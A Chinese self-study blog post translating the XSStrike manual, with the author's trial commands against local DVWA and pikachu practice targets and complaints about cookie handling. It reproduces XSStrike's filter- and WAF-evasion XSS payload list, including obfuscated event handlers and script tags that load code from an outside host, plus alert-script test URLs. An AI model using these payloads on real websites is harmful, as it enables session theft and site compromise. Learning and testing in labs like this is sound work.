网络安全-XSStrike中文手册(自学笔记)
目录安装克隆安装模块环境要求python版本操作系统选项帮助添加目标url单个GET方法POST方法从文件测试url路径组件POST数据为json格式爬取默认爬取深度从文件读取payloads查找隐藏参数时间问题线程数超时延迟headers盲注有效负载编码模糊测试日志显示最低级别是我打开方式不对吗?什么玩意呀安装克隆git clone https://github.c.
目录
是我打开方式不对吗?什么玩意呀(分析在最后)
安装
克隆
git clone https://github.com/s0md3v/XSStrike.git
安装模块
pip3 install -r requirements.txt
环境要求
python版本
>=3.4
操作系统
Linux (Arch, Debian, Ubnutu), Termux, Windows (7 & 10), Mac
选项
选项 | 作用 |
---|---|
-h, --help | 显示帮助信息并退出 |
-u, --url | 目标url |
--data | post方法的数据 |
-f, --file | 从文件读取payloads |
-t, --threads | 线程数量 |
-l, --level | 爬取级别 |
-t, --encode | payload采取的编码 |
--json | json格式的数据 |
--path | 指定路径注入 |
--seeds | 从文件加载url |
--fuzzer | fuzz工具 |
--update | 更新 |
--timeout | 超时时间 |
--params | 寻找参数 |
--crawl | 爬取 |
--proxy | 使用代理 |
--blind | 爬取时盲注 |
--skip | 跳过确认等 |
--skip-dom | 跳过dom检查 |
--headers | 添加headers |
-d, --delay | 两次请求之间的延迟 |
帮助
python xsstrike.py -h
添加目标url
单个
GET方法
选项:-u或--url
python xsstrike.py -u "http://example.com/search.php?q=query"
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>alert('xss')</script>"
POST方法
选项:--data
python xsstrike.py -u "http://example.com/search.php" --data "q=query"
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_s/" --data "txtName=test&mtxMessage=This+is+a+test+comment.&btnSign=Sign+Guestbook"
从文件
选项:--seeds 不使用-u选项
python xsstrike.py --seeds urls.txt
文件内容:
测试url路径组件
选项:--path
想要在URL路径中注入这样的有效负载 http://example.com/search/<payload>
python xsstrike.py -u "http://example.com/search/form/query" --path
POST数据为json格式
选项:--json
python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"}' --json
爬取
从目标网页开始搜寻目标并进行测试。
默认
选项:--crawl
python xsstrike.py -u "http://example.com/page.php" --crawl
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/" --crawl
1/1 是它找到的,连个空格都不加,不太成熟。
爬取深度
选项-l或--level 默认为2
python xsstrike.py -u "http://example.com/page.php" --crawl -l 3
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/" --crawl -l 3
从文件读取payloads
选项:-f或--file
python3 xsstrike.py -u "http://example.com/page.php?q=query" -f /path/to/file.txt
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=''" -f payloads.txt
测试完毕,不给结果???
查找隐藏参数
选项: --params
python xsstrike.py -u "http://example.com/page.php" --params
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/" --params
这个小东西是针不戳呢:),文章我都写不下去了,这和sqlmap差远了呀!!!
时间问题
线程数
选项: -t
或 --threads
,默认: 2
python xsstrike.py -u "http://example.com" -t 10 --crawl -l 3
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/" -t 3 --crawl -l 3
超时
选项: --timeout
, 默认: 7
python xsstrike.py -u "http://example.com/page.php?q=query" --timeout=4
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --timeout=3
延迟
两个请求之间的延迟
选项: -d
或 --delay
,默认: 0
python xsstrike.py -u "http://example.com/page.php?q=query" -d 2
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" -d 2
headers
选项: --headers 使用\n分隔
python xsstrike.py -u http://example.com/page.php?q=query --headers "Accept-Language: en-US\nCookie: null"
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --headers "Cookie:security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=h9u1rmfie6ck34qsa2890777o1"
真是棒棒的,我都忍不住抓包了!!!
大兄弟???Cookie呢???WTF
前面也就算了,应该是Cookie的问题,做到这里我心态炸了,这就GitHub第一XSS注入神器???
盲注
选项: --blind
在爬取时使用此选项,XSStrike注入定义在core/config.py中的盲注payloads到
每个HTML表单的每个参数。
core/config.py中的payloads
python xsstrike.py -u "http://example.com/page.php?q=query" --crawl --blind
payloads = ( # Payloads for filter & WAF evasion
'\'"</Script><Html Onmouseover=(confirm)()//'
'<imG/sRc=l oNerrOr=(prompt)() x>',
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
'<deTails open oNToggle=confi\u0072m()>',
'<img sRc=l oNerrOr=(confirm)() x>',
'<svg/x=">"/οnlοad=confirm()//',
'<svg%0Aοnlοad=%09((pro\u006dpt))()//',
'<iMg sRc=x:confirm`` oNlOad=e\u0076al(src)>',
'<sCript x>confirm``</scRipt x>',
'<Script x>prompt()</scRiPt x>',
'<sCriPt sRc=//14.rs>',
'<embed//sRc=//14.rs>',
'<base href=//14.rs/><script src=/>',
'<object//data=//14.rs>',
'<s=" οnclick=confirm``>clickme',
'<svG oNLoad=co\u006efirm(1)>',
'\'"><y///oNMousEDown=((confirm))()>Click',
'<a/href=javascript:co\u006efirm("1")>clickme</a>',
'<img src=x οnerrοr=confir\u006d`1`>',
'<svg/οnlοad=co\u006efir\u006d`1`>')
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --crawl --blind
有效负载编码
选项: -e
或 --encode
XSStrike可以按需编码有效负载。目前仅支持base64。
python xsstri
ke.py -u "http://example.com/page.php?q=query" -e base64
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" -e base64
模糊测试
选项: --fuzzer
该模糊器旨在测试过滤器和Web应用程序防火墙。
python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --fuzzer
日志显示最低级别
选项(控制台): --console-log-level,默认:INFO
python xsstrike.py -u "http://example.com/search.php?q=query" --console-log-level WARNING
选项(文件
):--file-log-level,默认:None
python xsstrike.py -u "http://example.com/search.php?q=query" --console-log-level DEBUG
选项(配合--file-log-level
): --log-file,默认: xsstrike.log
python xsstrike.py -u "http://example.com/search.php?q=query" --file-log-level INFO --log-file output.log
python xsstrike.py -u "http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name='<script>alert('lady_killer')</script>'" --crawl --blind --headers "Cookie:security=low; csrftoken=7Gjcd9xR7MgIk7A7e0yks1RDppbErY9WYTFXpjxyYSzOPkEsscYH4xMZAfGzKuBy; PHPSESSID=h9u1rmfie6ck34qsa2890777o1" --file-log-level INFO
这我自己都能发现。。。浪费时间,回宿舍睡觉了。。。
继续搞。。。没准哪天可以了呢
跳过确认提示
选项:--skip
如果希望XSStrike发现了可以工作的payload后继续扫描,而不询问,则可以使用此选项。它也将跳过POC的生成。
python xsstrike.py -u "http://example.com/search.php?q=query" --skip
python xsstrike.py -u "127.0.0.1/dvwa/vulnerabilities/xss_r/?name=s" --skip
跳过Dom扫描
选项:--skip-dom
如果确定了不是dom型,为了节省时间,可以跳过dom扫描。
python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom
python xsstrike.py -u "127.0.0.1/dvwa/vulnerabilities/xss_r/?name=s" --skip-dom
确实没有check dom
更新
选项:--update
python xsstrike.py --update
分析(DVWA不行)
通过上面,大家也看到了我的很多抱怨。看来应该是dvwa的cookie问题,这个软件在cookie这个方面似乎做的不好。
我又试了靶机pikachu,是可以的。
python xsstrike.py -u "http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=q&submit=submit" --skip-dom
有时间使用XSStrike写一下pikachu的xss注入。
------------------------20201027更新------------------------------
各位,是我的问题,没有好好看官方文档,--headers里面关键字及冒号后面需要一个空格,本文上面的内容我就不改了,实战部分请看下面的文章,当然XSStrike还有点小问题也在下文。
网络安全-靶机pikachu之xss注入与代码分析(XSStrike实战)
-------------------------20201027更新------------------------------
手工dvwa来啦:
网络安全-靶机dvwa之XSS注入Low到High详解(含代码分析)
更多内容查看:网络安全-自学笔记
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)